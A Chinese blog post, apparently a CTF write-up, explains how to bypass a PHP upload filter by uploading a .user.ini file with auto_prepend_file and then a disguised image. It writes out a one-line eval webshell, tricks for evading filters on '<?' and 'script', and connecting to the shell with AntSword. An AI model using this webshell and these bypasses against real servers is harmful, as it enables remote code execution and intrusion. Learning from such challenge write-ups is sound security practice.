| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> PHP知识库 -> 校赛uploads用.user.ini绕过 -> 正文阅读 |
|
[PHP知识库]校赛uploads用.user.ini绕过 |
先看源码: !DOCTYPE?html>
使用.user.ini的条件:在nginx服务器下
首先介绍php.ini文件,php中有很多配置,并且可以在php.ini中设置。在正规的网站中,每一次运行php文件都会先读取配置文件
配置可分为四种:
关于系统一类PHP_INI_SYSTEM的配置,只能在向像php.ini类似厉害的配置文件中设定。其它三种不怎么重要的配置不仅可以在php.ini中设定,还可以在.user.ini中设定。.user.ini和php.ini不同的是,.user.ini是一个动态加载的ini文件。在修改.user.ini之后不用重启服务器中间件,只需等待
user_ini.cache_ttl默认的配置时间(300秒)。即可被重新加载。
服务器中间件:中间件是服务器上负责解析http请求的一组应用程序,负责接收并解析http请求数据包,在服务器上找到数据包所请求的文件后,将其返回给客户端,如果http数据包所请求的是一个动态脚本文件,如php等,中间件就要靠CGI与脚本语言解析软件进行交互,处理好动态脚本文件后,再将处理后的文件其返回给浏览器。 说白了,中间件就是服务器上web端口(通常为80端口)的一个翻译官,负责告诉服务器用户要请求哪些文件,如果用户请求的是一个静态的html页面,就直接在服务器上找到对应文件并将其交给用户浏览器,如果用户请求的是一个动态页面如php,asp等,中间件在找到该文件后,将其交给对应的脚本语言解析程序,脚本语言解析程序将文件解析成html后,再把解析过的文件发送给浏览器。
.user.ini是一种可以被用户自定义的特殊的php.ini,.user.ini可以设定PHP_INI_USER和PHP_INII_PERDI和PHP_INI_ALL
?
.user.ini中有两个配置可以用来包含后门:
auto_prepend_file=a.bmp
auto_append_file=a.bmp
前者指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。后者则是调用在文件后面包含。
在 PHP 中,您可以在服务器执行 PHP 文件之前在该文件中插入一个文件的内容。 include 和 require 语句用于在执行流中插入写在其他文件中的有用的代码。 include 和 require 除了处理错误的方式不同之外,在其他方面都是相同的:
源码关键部分:
if?(
preg_match
(
"/ph|htacess|jpg|png|jpeg|txt|gif/i"
,?
$extension
))?{
????????die( "illegal?suffix!" ); ????} ????if?( mb_strpos ( file_get_contents ( $tmp_name ),? "<?" )?!==? FALSE )?{ ????????die( "illegal?symbol!" ); ????} ????if?( mb_strpos ( file_get_contents ( $tmp_name ),? "script" )?!==? FALSE )?{ ????????die( "illegal?symbol!" ); ????}
可以看到后面禁用了<?和<script>可以使用大小写要过<SCRIpt>也可以用<%绕过(<%等价与<?)。如果<script>要插入到前端,可以用<scri<!--test-->pt>绕过,编码绕过,拼凑绕过。(注意是在前端)
所以上面这题我们先传一个.user.ini文件,文件内容写上面的那句:auto_prepend_file=a.bmp。然后再用记事本写下一句话木马:<% php @eval($_POST['111']);%>或<SCRIpt language="php">@eval($_POST['111'])<scrIPT>
然后得到上传路径,可以通过御剑等工具扫目录得到上传的文件所在目录下的php文件有index.php(在含有.user.ini的文件下要含有php文件,否则不能正常包含,执行一句话木马)。用蚁剑连接 128.1.2.1/上传的路径/含有.user.ini的文件下的php文件(如
http://172.16.68.4:28051/uploads/fd40c7f4125a9b9ff1a4e75d293e3080/index.php),注意蚁剑是用post传参,用get方法会连接失败(可能连接成功了,但是打不开文件目录)。 在nginx服务器下且没有ban .htaccess的情况下,引用.htaccess也可以,但是还要进行某部分修改 |
|
PHP知识库 最新文章 |
Laravel 下实现 Google 2fa 验证 |
UUCTF WP |
DASCTF10月 web |
XAMPP任意命令执行提升权限漏洞(CVE-2020- |
[GYCTF2020]Easyphp |
iwebsec靶场 代码执行关卡通关笔记 |
多个线程同步执行,多个线程依次执行,多个 |
php 没事记录下常用方法 (TP5.1) |
php之jwt |
2021-09-18 |
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/14 14:44:30- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |